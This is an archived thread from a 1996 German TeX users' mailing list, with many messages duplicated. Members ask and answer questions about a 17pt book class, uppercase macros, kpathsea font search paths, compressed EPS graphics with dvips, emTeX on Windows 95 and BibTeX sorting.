in Hamburg =3D=3D> mehr Infos ueber http://www.dante.de/dante/Tagungen.html ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From root Tue Jul 2 12:42:03 1996 Message-Id: Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Jan Braun To: Multiple recipients of list TEX-D-L Date: Tue, 2 Jul 1996 12:41:39 +0200 Subject: Style oder clo fuer 17pt Dokument Hallo allerseits, ich suche ein book17.clo. Man stelle sich einmal vor, jemand schreibt ein Kinderbuch und tippt daf"ur folgende Zeile: \documentclass[17pt,twoside,...]{book} oder {scrbook} :-) Nun wird dieser jemand sicher einen Haufen Fehlermeldung bekommen und sicher nicht das gew"unschte Ergebnis. Ich bin daher auf der Suche nach einem Style oder einem Optionsfile welches den jemand vor den Fehlermeldungen und den unerw"unschten Nebenwirkungen bewahrt. Sollte es noch kein derartiges File geben, was ich mir nicht vorstellen kann, dann w"urde ich mich "uber sachdienliche Hinweise aus der Bev"olkerung freuen, die zur Erstellung eines solchen Files f"uhren. Als Belohnung winkt wie "ublich Gottes Lohn und eventuell eine Ausgabe des Kinderbuches selber? (Letzteres kann ich leider nicht zusagen, aber ich will sehen, was ich machen kann :-) Unsere E-Mail Annahme ist bis auf weiteres unter der unten eingeblendeten Nummer zu erreichen. Adele Jan -- Jan Braun Beratung Rechenzentrum Tel: +49/531/391-5555 E-Mail: Jan.Braun@tu-bs= .de Technische Universit"at Fax: +49/531/391-5549 38092 Braunschweig http://www.tu-bs.de/rz/allgemein/berat= ung =3D=3D=3D=3D=3D=3D ypchsh /usr/local/bin/emacs :-) (-: ``Go FORTH now and = create ...''=3D=3D=3D=3D=3D From root Tue Jul 2 12:42:03 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Jan Braun Date: Tue, 2 Jul 1996 12:41:39 +0200 Subject: Style oder clo fuer 17pt Dokument Hallo allerseits, ich suche ein book17.clo. Man stelle sich einmal vor, jemand schreibt ein Kinderbuch und tippt daf"ur folgende Zeile: \documentclass[17pt,twoside,...]{book} oder {scrbook} :-) Nun wird dieser jemand sicher einen Haufen Fehlermeldung bekommen und sicher nicht das gew"unschte Ergebnis. Ich bin daher auf der Suche nach einem Style oder einem Optionsfile welches den jemand vor den Fehlermeldungen und den unerw"unschten Nebenwirkungen bewahrt. Sollte es noch kein derartiges File geben, was ich mir nicht vorstellen kann, dann w"urde ich mich "uber sachdienliche Hinweise aus der Bev"olkerung freuen, die zur Erstellung eines solchen Files f"uhren. Als Belohnung winkt wie "ublich Gottes Lohn und eventuell eine Ausgabe des Kinderbuches selber? (Letzteres kann ich leider nicht zusagen, aber ich will sehen, was ich machen kann :-) Unsere E-Mail Annahme ist bis auf weiteres unter der unten eingeblendeten Nummer zu erreichen. Adele Jan -- Jan Braun Beratung Rechenzentrum Tel: +49/531/391-5555 E-Mail: Jan.Braun@tu-bs.de Technische Universit"at Fax: +49/531/391-5549 38092 Braunschweig http://www.tu-bs.de/rz/allgemein/beratung =3D=3D=3D=3D=3D=3D ypchsh /usr/local/bin/emacs :-) (-: ``Go FORTH now and create ...''=3D=3D=3D=3D=3D From owner-tex-d-l@VM.GMD.DE Tue Jul 2 13:36:20 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Anselm Lingnau Date: Tue, 2 Jul 1996 13:36:36 +0200 Subject: Re: Style oder clo fuer 17pt Dokument Jan Braun schreibt: > Sollte es noch kein derartiges File geben, was ich mir nicht > vorstellen kann, dann w"urde ich mich "uber sachdienliche Hinweise aus > der Bev"olkerung freuen, die zur Erstellung eines solchen Files > f"uhren. Das ist im Prinzip gar nicht so schwer. Du nimmst Dir bk12.clo oder eine "aquivalente Datei her und "anderst alle Massangaben darin auf Werte, die f"ur eine \normalsize von 17pt sch"on aussehen. Das Problem besteht eher darin, eine geeignete Definition von `sch"on' festzulegen. Hier sind Typographen und Leute mit "ahnlicher Ausbildung ein klein wenig im Vorteil :^| Eventuell w"urde es als erster Ansatz helfen, ein paar andere (sch"one) Kinderb"ucher zu vermessen und sich von den erzielten Ergebnissen inspirieren zu lassen. Die Lekt"ure einschl"agiger Literatur (Tschichold bietet sich immer an) ist auch bestimmt kein Fehler. Anselm -- Anselm Lingnau ......................... lingnau@tm.informatik.uni-frankfurt.de Beware of bugs in the above code; I have only proved it correct, not tried it. --- Donald Knuth From root Tue Jul 2 13:37:16 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3Dus-ascii Message-Id: <28113.836307396@rigel.tm.informatik.uni-frankfurt.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Anselm Lingnau To: Multiple recipients of list TEX-D-L In-Reply-To: (Jan Braun 's message of Tue, 02 Jul 199= Date: Tue, 2 Jul 1996 13:36:36 +0200 Subject: Re: Style oder clo fuer 17pt Dokument Jan Braun schreibt: > Sollte es noch kein derartiges File geben, was ich mir nicht > vorstellen kann, dann w"urde ich mich "uber sachdienliche Hinweise aus > der Bev"olkerung freuen, die zur Erstellung eines solchen Files > f"uhren. Das ist im Prinzip gar nicht so schwer. Du nimmst Dir bk12.clo oder eine "aquivalente Datei her und "anderst alle Massangaben darin auf Werte, die f"ur eine \normalsize von 17pt sch"on aussehen. Das Problem besteht eher darin, eine geeignete Definition von `sch"on' festzulegen. Hier sind Typographen und Leute mit "ahnlicher Ausbildung ein klein wenig im Vorteil :^| Eventuell w"urde es als erster Ansatz helfen, ein paar andere (sch"one) Kinderb"ucher zu vermessen und sich von den erzielten Ergebnissen inspirieren zu lassen. Die Lekt"ure einschl"agiger Literatur (Tschichold bietet sich immer an) ist auch bestimmt kein Fehler. Anselm -- Anselm Lingnau ......................... lingnau@tm.informatik.uni-frankfur= t.de Beware of bugs in the above code; I have only proved it correct, not tried = it. --- Donald K= nuth From owner-tex-d-l@VM.GMD.DE Tue Jul 2 15:22:33 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Jan Braun Date: Tue, 2 Jul 1996 15:22:26 +0200 Subject: Re: Style oder clo fuer 17pt Dokument Hallo Anselm, >>>>> "AL" == Anselm Lingnau writes: AL> AL> Jan Braun schreibt: >> Sollte es noch kein derartiges File geben, was ich mir nicht >> vorstellen kann, dann w"urde ich mich "uber sachdienliche Hinweise aus >> der Bev"olkerung freuen, die zur Erstellung eines solchen Files >> f"uhren. AL> AL> Das ist im Prinzip gar nicht so schwer. Du nimmst Dir bk12.clo oder eine AL> "aquivalente Datei her und "anderst alle Massangaben darin auf Werte, AL> die f"ur eine \normalsize von 17pt sch"on aussehen. So habe ich mir das gedacht. AL> AL> Das Problem besteht eher darin, eine geeignete Definition von `sch"on' AL> festzulegen. Jupp ;-) AL> Hier sind Typographen und Leute mit "ahnlicher Ausbildung AL> ein klein wenig im Vorteil :^| Eventuell w"urde es als erster Ansatz AL> helfen, ein paar andere (sch"one) Kinderb"ucher zu vermessen und sich AL> von den erzielten Ergebnissen inspirieren zu lassen. Die Lekt"ure AL> einschl"agiger Literatur (Tschichold bietet sich immer an) ist auch AL> bestimmt kein Fehler. AL> Tja, nun steh ich hier, ich armer Thor, hab Tschichold gelesen und etwas auch verstanden, aber ich bin doch so schlau wie zuvor. In dem wenigen, was unsere Uni-Bibliothek von Jan Tschichold vorr"atig hat, habe ich keine irgendwie gearteten Angaben "uber derartige Verh"altnisse finden k"onnen :-( Vermutlich hilft nur try and try again. Vielen Dank f"ur Deine Antwort. BTW.: ich hatte vor einiger Zeit bereits einmal ein Mail an Dich gesandt, mit der Bitte um eine Kopie des bisher von Dir erstellen BibTeX-Files mit den Artikeln der Texnischen Kom"odie. Du hattest sie seinerzeit an Luzia gesandt, welche sie an mich geforwardet hatte, damit ich darauf aufbauend selbige komplettieren konnte. Ich dummes Schaf habe aber wegen eines Fehlers kein einziges Byte mehr davon zur"uckbehalten und m"ochte Luzia doch irgendwann einmal die vollst"andige Sammlung "uberreichen. Vermutlich ist diese Mail im Nirwana gelandet, daher m"ochte ich Dich heute noch einmal bitten, so freundlich zu sein, und mir eine Kopie Deines Files zukommen zu lassen. Vielen Dank bereits im Vorhinein Jan From root Tue Jul 2 15:23:27 1996 Message-Id: Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Jan Braun To: Multiple recipients of list TEX-D-L In-Reply-To: <28113.836307396@rigel.tm.informatik.uni-frankfurt.de> Date: Tue, 2 Jul 1996 15:22:26 +0200 Subject: Re: Style oder clo fuer 17pt Dokument Hallo Anselm, >>>>> "AL" =3D=3D Anselm Lingnau w= rites: AL> AL> Jan Braun schreibt: >> Sollte es noch kein derartiges File geben, was ich mir nicht >> vorstellen kann, dann w"urde ich mich "uber sachdienliche Hinweise aus >> der Bev"olkerung freuen, die zur Erstellung eines solchen Files >> f"uhren. AL> AL> Das ist im Prinzip gar nicht so schwer. Du nimmst Dir bk12.clo oder ei= ne AL> "aquivalente Datei her und "anderst alle Massangaben darin auf Werte, AL> die f"ur eine \normalsize von 17pt sch"on aussehen. So habe ich mir das gedacht. AL> AL> Das Problem besteht eher darin, eine geeignete Definition von `sch"on'= AL> festzulegen. Jupp ;-) AL> Hier sind Typographen und Leute mit "ahnlicher Ausbildung AL> ein klein wenig im Vorteil :^| Eventuell w"urde es als erster Ansatz AL> helfen, ein paar andere (sch"one) Kinderb"ucher zu vermessen und sich AL> von den erzielten Ergebnissen inspirieren zu lassen. Die Lekt"ure AL> einschl"agiger Literatur (Tschichold bietet sich immer an) ist auch AL> bestimmt kein Fehler. AL> Tja, nun steh ich hier, ich armer Thor, hab Tschichold gelesen und etwas auch verstanden, aber ich bin doch so schlau wie zuvor. In dem wenigen, was unsere Uni-Bibliothek von Jan Tschichold vorr"atig hat, habe ich keine irgendwie gearteten Angaben "uber derartige Verh"altnisse finden k"onnen :-( Vermutlich hilft nur try and try again. Vielen Dank f"ur Deine Antwort. BTW.: ich hatte vor einiger Zeit bereits einmal ein Mail an Dich gesandt, mit der Bitte um eine Kopie des bisher von Dir erstellen BibTeX-Files mit den Artikeln der Texnischen Kom"odie. Du hattest sie seinerzeit an Luzia gesandt, welche sie an mich geforwardet hatte, damit ich darauf aufbauend selbige komplettieren konnte. Ich dummes Schaf habe aber wegen eines Fehlers kein einziges Byte mehr davon zur"uckbehalten und m"ochte Luzia doch irgendwann einmal die vollst"andige Sammlung "uberreichen. Vermutlich ist diese Mail im Nirwana gelandet, daher m"ochte ich Dich heute noch einmal bitten, so freundlich zu sein, und mir eine Kopie Deines Files zukommen zu lassen. Vielen Dank bereits im Vorhinein Jan From root Fri Jul 5 13:09:48 1996 Message-Id: <199607051108.AA256524926@mlucom.urz.Uni-Halle.DE> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille To: Multiple recipients of list TEX-D-L Date: Fri, 5 Jul 1996 13:08:46 +0200 Subject: toupper Hallo TeXperten, ich suche ein "toupper" f"ur TeX, was hei"sen soll: \toupper{Test} erzeugt im Text TEST Das ist n"utzlich, wenn in verschiedenen Verlagen "Uberschriften einmal normal und im anderen wieder in Gro"sbuchstaben gew"unscht werden und man nicht zwei Textversionen halten will. Tsch"u"s und sch"ones Wochenende Andreas. From owner-tex-d-l@VM.GMD.DE Fri Jul 5 13:08:54 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Fri, 5 Jul 1996 13:08:46 +0200 Subject: toupper Hallo TeXperten, ich suche ein "toupper" f"ur TeX, was hei"sen soll: \toupper{Test} erzeugt im Text TEST Das ist n"utzlich, wenn in verschiedenen Verlagen "Uberschriften einmal normal und im anderen wieder in Gro"sbuchstaben gew"unscht werden und man nicht zwei Textversionen halten will. Tsch"u"s und sch"ones Wochenende Andreas. From owner-tex-d-l@VM.GMD.DE Fri Jul 5 14:00:55 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Pfeilsticker Date: Fri, 5 Jul 1996 14:00:21 +0200 Subject: Probleme mit kpathsea und PS-fonts Hallo! Ich habe das Paket dante-tex.tar.Z ( wohl web2c-6.1) in einem Pool von Sun-workstations unter SunOS 4.1x installiert. Das Problem ist, das bei fast allen Postscriptfonts xdvik und dvipsk z.Tl. mehrere Stunden brauchen, obwohl die Suchpfade in der texmf.cfg schon extrem verkuerzt sind ... (s.u.). Da die HashDB (ls-R) stuendlich neu generiert wird, kann es daran wohl nicht liegen... Irgendwelche Tips ?? Martin ------texmf.cfg----- % changed texmf.cnf -- runtime path configuration file for kpathsea. % % (If you change or delete `original' on the previous line, the % distribution won't install its version over yours.) % % What follows is a super-summary of what this .cnf file can % contain. Please read the Kpathsea manual for more information. % % texmf.cnf is generated from texmf.cnf.in, by replacing @var@ with the % value of the Make variable `var', via a sed file texmf.sed, generated % (once) by kpathsea/Makefile (itself generated from % kpathsea/Makefile.in by configure). % % Any identifier (sticking to A-Za-z_ for names is safest) can be assigned. % The `=' (and surrounding spaces) is optional. % No space, %, or @ in variable values, for the sake of autogeneration. % An environment variable foo overrides a definition of foo here. % $foo (or ${foo}) in a value expands to the envvar or cnf value of foo. % % All definitions are read before anything is expanded, so you can use % variables before they are defined. % % % If a variable is qualified with `.', it is ignored unless the % current executable (last component of argv[0]) is named . % % Which file formats use which paths for searches is described in the % various programs' and the kpathsea documentation. % % // means to search subdirectories (recursively). % A leading !! means to look only in the ls-R db, never on the disk. % A leading/trailing/doubled : in the paths will be expanded into the % compile-time default. Probably not what you want. % Where the wild files are. You can set an environment variable to % override this if you're testing a new TeX tree, without changing % anything else. TEXMF = /usr/local/tex-3.14 % TeX input files -- i.e., anything to be found by \input or \openin, % including .sty, .eps, etc. Things are confused by the many variants % of LaTeX, which all have the same filenames. The current % recommendation is to make `latex' be latex2e, and if you also want to % support latex 2.09, call it latex209. If you do the reverse, the % definitions below will need adjusting. % latex209_inputs = .:$TEXMF/lib/tex/inputs/latex209//:$TEXMF/tex/inputs// latex2e_inputs = .:$TEXMF/lib/tex/inputs/latex//:$TEXMF/tex/inputs// TEXINPUTS.latex209 = $latex209_inputs TEXINPUTS.latex2e = $latex2e_inputs TEXINPUTS.latex = $latex2e_inputs % Earlier entries override later ones, so put this last. TEXINPUTS = .:$TEXMF/lib/tex/inputs// % Ditto for MF. MFINPUTS = .:$TEXMF/lib/mf/inputs//:$TEXMF/tex/fonts//src// % Predigested formats and string pools for initex/inimf. TEXFORMATS = .:$TEXMF/lib/tex/formats MFBASES = .:$TEXMF/lib/mf/bases TEXPOOL = $TEXMF/lib/tex/formats MFPOOL = $TEXMF/lib/mf/bases % Device-independent font metric files. % links von psfonts//vf//*.vf nach $TEXMF/lib/tex/fonts/vf gesetzt VFFONTS = .:$TEXMF/lib/tex/fonts/vf//:$TEXMF/lib/tex/fonts/psfonts//vf//:$TEXMF/ fonts/vf// TFMFONTS = .:$TEXMF/lib/tex/fonts/tfm//:$TEXMF/fonts/tfm// VFFILEPATH=.:$TEXMF/lib/tex/fonts/vf//:$TEXMF/lib/tex/fonts/psfonts// % Just an abbreviation. pkdir = $TEXMF/lib/tex/fonts/tmp % The $MAKETEX_MODE below means the drivers will not use a cx font when % the mode is ricoh. If no mode is explicitly specified, kpse_prog_init % sets MAKETEX_MODE to /, so all subdirectories are searched. See the manual. % xdvi needs to find bitmaps for PostScript fonts, which can be % generated by standalone programs gsftopk and ps2pk (ps2mf needs no % special treatment). See xdvik/INSTALL for more info. PKFONTS = .:$TEXMF/lib/tex/fonts/tmp/pk/$MAKETEX_MODE//::$TEXMF/lib/tex/fonts/tm p/pk//:$pkdir/$MAKETEX_MODE//:$pkdir/gsftopk:$pkdir/ps2pk % Again, the standard definition must come after the program-specific one. % Don't use $pkdir since we can't do general variable expansion making paths.h. PKDIR = .:$TEXMF/lib/tex/fonts/tmp/pk/$MAKETEX_MODE// % Similarly for the GF format, which only remains in existence because % Metafont outputs it (and MF isn't going to change). GFFONTS = .:$TEXMF/lib/tex/fonts//gf/$MAKETEX_MODE % Used to find texfonts.map; also a backup for PKFONTS and GFFONTS, % but normally that is irrelevant, so don't bother with all subdirectories. GLYPHFONTS = .:$TEXMF/lib/tex/fonts % BibTeX bibliographies and style files. BIBINPUTS = .:$TEXMF/lib/tex/inputs/bibtex/bib:$TEXMF/tex/inputs/bibtex/bib BSTINPUTS = .:$TEXMF/lib/tex/inputs/bibtex/bst:$TEXMF/tex/inputs/bibtex/bst % Dvips' config.* files. TEXCONFIG = .:~:$TEXMF/lib/tex/dvips % Dvips' PostScript prologues (.pro) and .pfa/.pfb files. DVIPSHEADERS = .:$TEXMF/lib/tex/dvips:$TEXMF/tex/fonts//type1 % Enable this (or set the environment variable) if you want kpathsea to % log names and times for all files found. %TEXMFLOG = /home_egk/martin/local/kpathsea.log % This definition isn't used from this .cnf file itself (that would be % paradoxical), but the compile-time default in paths.h is built from it. TEXMFCNF = .:$TEXMF/lib/tex/web2c =-------- -- ----------------------------------------------------------------------------- | Martin.Pfeilsticker@arbi.informatik.uni-oldenburg.de | | pfeilsticker@tech.chem.uni-oldenburg.de CF/IRC: zaphod2 | | Voice : 0441-? Fax: 0441-248458 | Rosenstrasse 52 , 26122 Oldenburg | | In god we trust, all other pay cash | ---------------------------------------------------------------------------- From root Fri Jul 5 14:01:29 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3DISO-8859-1 Content-Transfer-Encoding: 8bit Message-Id: Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Pfeilsticker To: Multiple recipients of list TEX-D-L Date: Fri, 5 Jul 1996 14:00:21 +0200 Subject: Probleme mit kpathsea und PS-fonts Hallo! Ich habe das Paket dante-tex.tar.Z ( wohl web2c-6.1) in einem Pool von Sun-workstations unter SunOS 4.1x installiert. Das Problem ist, das bei fast allen Postscriptfonts xdvik und dvipsk z.Tl. mehrere Stunden brauchen, obwohl die Suchpfade in der texmf.cfg schon extrem verkuerzt sind ... (s.u.). Da die HashDB (ls-R) stuendlich neu generiert wird, kann es daran wohl nich= t liegen... Irgendwelche Tips ?? Martin ------texmf.cfg----- % changed texmf.cnf -- runtime path configuration file for kpathsea. % % (If you change or delete `original' on the previous line, the % distribution won't install its version over yours.) % % What follows is a super-summary of what this .cnf file can % contain. Please read the Kpathsea manual for more information. % % texmf.cnf is generated from texmf.cnf.in, by replacing @var@ with the % value of the Make variable `var', via a sed file texmf.sed, generated % (once) by kpathsea/Makefile (itself generated from % kpathsea/Makefile.in by configure). % % Any identifier (sticking to A-Za-z_ for names is safest) can be assigned.= % The `=3D' (and surrounding spaces) is optional. % No space, %, or @ in variable values, for the sake of autogeneration. % An environment variable foo overrides a definition of foo here. % $foo (or ${foo}) in a value expands to the envvar or cnf value of foo. % % All definitions are read before anything is expanded, so you can use % variables before they are defined. % % % If a variable is qualified with `.', it is ignored unless the % current executable (last component of argv[0]) is named . % % Which file formats use which paths for searches is described in the % various programs' and the kpathsea documentation. % % // means to search subdirectories (recursively). % A leading !! means to look only in the ls-R db, never on the disk. % A leading/trailing/doubled : in the paths will be expanded into the % compile-time default. Probably not what you want. % Where the wild files are. You can set an environment variable to % override this if you're testing a new TeX tree, without changing % anything else. TEXMF =3D /usr/local/tex-3.14 % TeX input files -- i.e., anything to be found by \input or \openin, % including .sty, .eps, etc. Things are confused by the many variants % of LaTeX, which all have the same filenames. The current % recommendation is to make `latex' be latex2e, and if you also want to % support latex 2.09, call it latex209. If you do the reverse, the % definitions below will need adjusting. % latex209_inputs =3D .:$TEXMF/lib/tex/inputs/latex209//:$TEXMF/tex/inputs// latex2e_inputs =3D .:$TEXMF/lib/tex/inputs/latex//:$TEXMF/tex/inputs// TEXINPUTS.latex209 =3D $latex209_inputs TEXINPUTS.latex2e =3D $latex2e_inputs TEXINPUTS.latex =3D $latex2e_inputs % Earlier entries override later ones, so put this last. TEXINPUTS =3D .:$TEXMF/lib/tex/inputs// % Ditto for MF. MFINPUTS =3D .:$TEXMF/lib/mf/inputs//:$TEXMF/tex/fonts//src// % Predigested formats and string pools for initex/inimf. TEXFORMATS =3D .:$TEXMF/lib/tex/formats MFBASES =3D .:$TEXMF/lib/mf/bases TEXPOOL =3D $TEXMF/lib/tex/formats MFPOOL =3D $TEXMF/lib/mf/bases % Device-independent font metric files. % links von psfonts//vf//*.vf nach $TEXMF/lib/tex/fonts/vf gesetzt VFFONTS =3D .:$TEXMF/lib/tex/fonts/vf//:$TEXMF/lib/tex/fonts/psfonts//vf//:= $TEXMF/ fonts/vf// TFMFONTS =3D .:$TEXMF/lib/tex/fonts/tfm//:$TEXMF/fonts/tfm// VFFILEPATH=3D.:$TEXMF/lib/tex/fonts/vf//:$TEXMF/lib/tex/fonts/psfonts// % Just an abbreviation. pkdir =3D $TEXMF/lib/tex/fonts/tmp % The $MAKETEX_MODE below means the drivers will not use a cx font when % the mode is ricoh. If no mode is explicitly specified, kpse_prog_init % sets MAKETEX_MODE to /, so all subdirectories are searched. See the manu= al. % xdvi needs to find bitmaps for PostScript fonts, which can be % generated by standalone programs gsftopk and ps2pk (ps2mf needs no % special treatment). See xdvik/INSTALL for more info. PKFONTS =3D .:$TEXMF/lib/tex/fonts/tmp/pk/$MAKETEX_MODE//::$TEXMF/lib/tex/f= onts/tm p/pk//:$pkdir/$MAKETEX_MODE//:$pkdir/gsftopk:$pkdir/ps2pk % Again, the standard definition must come after the program-specific one. % Don't use $pkdir since we can't do general variable expansion making path= s.h. PKDIR =3D .:$TEXMF/lib/tex/fonts/tmp/pk/$MAKETEX_MODE// % Similarly for the GF format, which only remains in existence because % Metafont outputs it (and MF isn't going to change). GFFONTS =3D .:$TEXMF/lib/tex/fonts//gf/$MAKETEX_MODE % Used to find texfonts.map; also a backup for PKFONTS and GFFONTS, % but normally that is irrelevant, so don't bother with all subdirectories.= GLYPHFONTS =3D .:$TEXMF/lib/tex/fonts % BibTeX bibliographies and style files. BIBINPUTS =3D .:$TEXMF/lib/tex/inputs/bibtex/bib:$TEXMF/tex/inputs/bibtex/b= ib BSTINPUTS =3D .:$TEXMF/lib/tex/inputs/bibtex/bst:$TEXMF/tex/inputs/bibtex/b= st % Dvips' config.* files. TEXCONFIG =3D .:~:$TEXMF/lib/tex/dvips % Dvips' PostScript prologues (.pro) and .pfa/.pfb files. DVIPSHEADERS =3D .:$TEXMF/lib/tex/dvips:$TEXMF/tex/fonts//type1 % Enable this (or set the environment variable) if you want kpathsea to % log names and times for all files found. %TEXMFLOG =3D /home_egk/martin/local/kpathsea.log % This definition isn't used from this .cnf file itself (that would be % paradoxical), but the compile-time default in paths.h is built from it. TEXMFCNF =3D .:$TEXMF/lib/tex/web2c =3D-------- -- ---------------------------------------------------------------------------= -- | Martin.Pfeilsticker@arbi.informatik.uni-oldenburg.de = | | pfeilsticker@tech.chem.uni-oldenburg.de CF/IRC: zaphod2 = | | Voice : 0441-? Fax: 0441-248458 | Rosenstrasse 52 , 26122 Oldenburg | | In god we trust, all other pay cash = | --------------------------------------------------------------------------= -- From owner-tex-d-l@VM.GMD.DE Fri Jul 5 13:42:45 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rolf Niepraschk Date: Fri, 5 Jul 1996 13:41:53 EDT Subject: Re: toupper > ich suche ein "toupper" f"ur TeX, was hei"sen soll: > \toupper{Test} Probier mal {\MakeUppercase Test} ...Rolf PS. Sihe auch ARTICLE.CLS ... From owner-tex-d-l@VM.GMD.DE Sat Jul 6 10:11:26 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Konrad Blum Date: Sat, 6 Jul 1996 10:09:33 +0200 Subject: *.eps.gz und dvips Hallo, ich suche nach einem Rat bezueglich der Verwendung von eps.gz-dateien mit dvips (graphicx-Paket): unter UNIX (in meinem fall Linux und teTeX) es gibt die Moeglichkeot unter Verwendung des scripts epsbb (aus epsfig) eps-Grafiken zu komprimieren und die BoundingBox in eine *.eps.bb-Datei extra zur verfuegung zu stellen, so das grosse eps-dateien komprimiert vorgehalten werden koennen. Man benoetigtz dazu das graphicx-Paket mit der option dvips. Das ist alles sehr gut dokumentiert. Doch bei einer Kleinigkeit habe ich Verstaendnisprobleme: wenn ich meine *.eps.gz Dateien nicht im lokalen Verzeichnis vorhalte sondern sie in einem speziellen Verzeichnis ../graphics/ habe, wo alle eps-dateien liegen (und bisher unkomprimiert eingebunden werden, da der Pfad teTeX mitgeteilt und ein texhash Lauf ausgefuehrt wurde), DANN findet nach einwandfreiem LaTeX-Lauf das vom dvips (5.58f) aufgerufene gunzip -c die eps.gz-dateien nicht.(Und das obwohl der dvips natuerlich vorher die unkomprimierten eps.-dateien immer gefunden hat!) Das kann ich mit ln -s irgendwie beheben, ABER: ich faende es besser, ich koennte dem dvips / gunzip iirgendwie sagen, dass neben dem . Verzeichnis auch der ../graphics/-Pfad durchsucht werden soll. Oder muss ich am Ende in dvips.def \DeclareGraphicsRule erweitern...? Hilfe bitte auch per PM Konrad Blum ----------------------------------------------------------------------------- Sender: Konrad Blum Dept.Phys,Univ.Oldenburg, PO Box 2503, D-26111 Oldenburg/Germany Phone: +49-441-798-3212, -3544, -3402 -- Fax: +49-441-798-3326 From root Mon Jul 8 20:09:28 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3DISO-8859-1 Content-Transfer-Encoding: 8bit Message-Id: Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Schrell To: Multiple recipients of list TEX-D-L Date: Mon, 8 Jul 1996 07:47:00 GMT Subject: *.eps.gz und dvips Hallo Konrad, KBK>wenn ich meine *.eps.gz Dateien nicht im lokalen Verzeichnis vorhalte KBK>sondern sie in einem speziellen Verzeichnis ../graphics/ habe, wo KBK>alle eps-dateien liegen (und bisher unkomprimiert eingebunden werden, KBK>da der Pfad teTeX mitgeteilt und ein texhash Lauf ausgefuehrt wurde), KBK>DANN findet nach einwandfreiem LaTeX-Lauf das vom dvips (5.58f) KBK>aufgerufene gunzip -c die eps.gz-dateien nicht. graphics-Style hat eine Schnittstelle dafuer vorgesehen: \graphicspath{{eps/}{tiff/}{/usr/local/lib/bilder}} Dann sollte darin gesucht werden. Viele Gruesse /\ /__\ndreas / Schrell From owner-tex-d-l@VM.GMD.DE Mon Jul 8 20:08:29 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Schrell Date: Mon, 8 Jul 1996 07:47:00 GMT Subject: *.eps.gz und dvips Hallo Konrad, KBK>wenn ich meine *.eps.gz Dateien nicht im lokalen Verzeichnis vorhalte KBK>sondern sie in einem speziellen Verzeichnis ../graphics/ habe, wo KBK>alle eps-dateien liegen (und bisher unkomprimiert eingebunden werden, KBK>da der Pfad teTeX mitgeteilt und ein texhash Lauf ausgefuehrt wurde), KBK>DANN findet nach einwandfreiem LaTeX-Lauf das vom dvips (5.58f) KBK>aufgerufene gunzip -c die eps.gz-dateien nicht. graphics-Style hat eine Schnittstelle dafuer vorgesehen: \graphicspath{{eps/}{tiff/}{/usr/local/lib/bilder}} Dann sollte darin gesucht werden. Viele Gruesse /\ /__\ndreas / Schrell From owner-tex-d-l@VM.GMD.DE Mon Jul 8 15:21:14 1996 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Werner Kirsch Date: Mon, 8 Jul 1996 15:19:59 +0200 Subject: emTeX unter Windows 95 Hallo TeX-Anwender, ich verwende emTeX und habe nun vor, meinen PC auf Windows 95 umzustellen. Hab' ich mit Problemen zu rechnen (Stichwort emx) oder nicht? Danke f"ur Hinweise Werner Kirsch ---------------------------------------------------------------- Werner Kirsch GRUPPE WASSER (R) Phone: +43 1 505 19 84 Wiedner Hauptstrasse 19 Fax: +43 1 505 19 84 43 A-1040 Vienna, AUSTRIA email: kiw@GruppeWasser.co.at ---------------------------------------------------------------- From owner-tex-d-l@VM.GMD.DE Tue Jul 9 09:04:31 1996 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Heinz Kusznier Date: Tue, 9 Jul 1996 09:04:00 +0400 Subject: Re: emTeX unter Windows 95 At 15:19 08.07.96 +0200, you wrote: >Hallo TeX-Anwender, > >ich verwende emTeX und habe nun vor, meinen PC auf Windows 95 umzustellen. >Hab' ich mit Problemen zu rechnen (Stichwort emx) oder nicht? > > Danke f"ur Hinweise > Werner Kirsch Hallo Werner, ich verwende emTeX unter Windows 95. Es laeuft in einem DOS-Fenster ohne Probleme. Windows-Frontends habe ich noch nicht ausprobiert, werde es aber wohl irgendwann einmal. Beste Gruesse Heinz Kusznier Heinz Kusznier 3, Kapuzinerstrasse A-4020 LINZ AUSTRIA From owner-tex-d-l@VM.GMD.DE Thu Jul 11 05:10:13 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Oskar Hagen Date: Tue, 9 Jul 1996 09:27:00 +0200 Subject: BibTeX, alphabetic Hallo, ich benutze einen BibTeX-Stil, der die Autoren alphabetisch und nach Jahr sortiert (aus NAMED.BST abgeleitet.) Was macht man mit einem Buch ohne Autor oder Herausgeber? Beim "Chicago Manual of Style" gibt es zwar einen Managing Editor, aber der taucht nicht einmal beim Library-of-Congress-Data auf. Der Eintrag 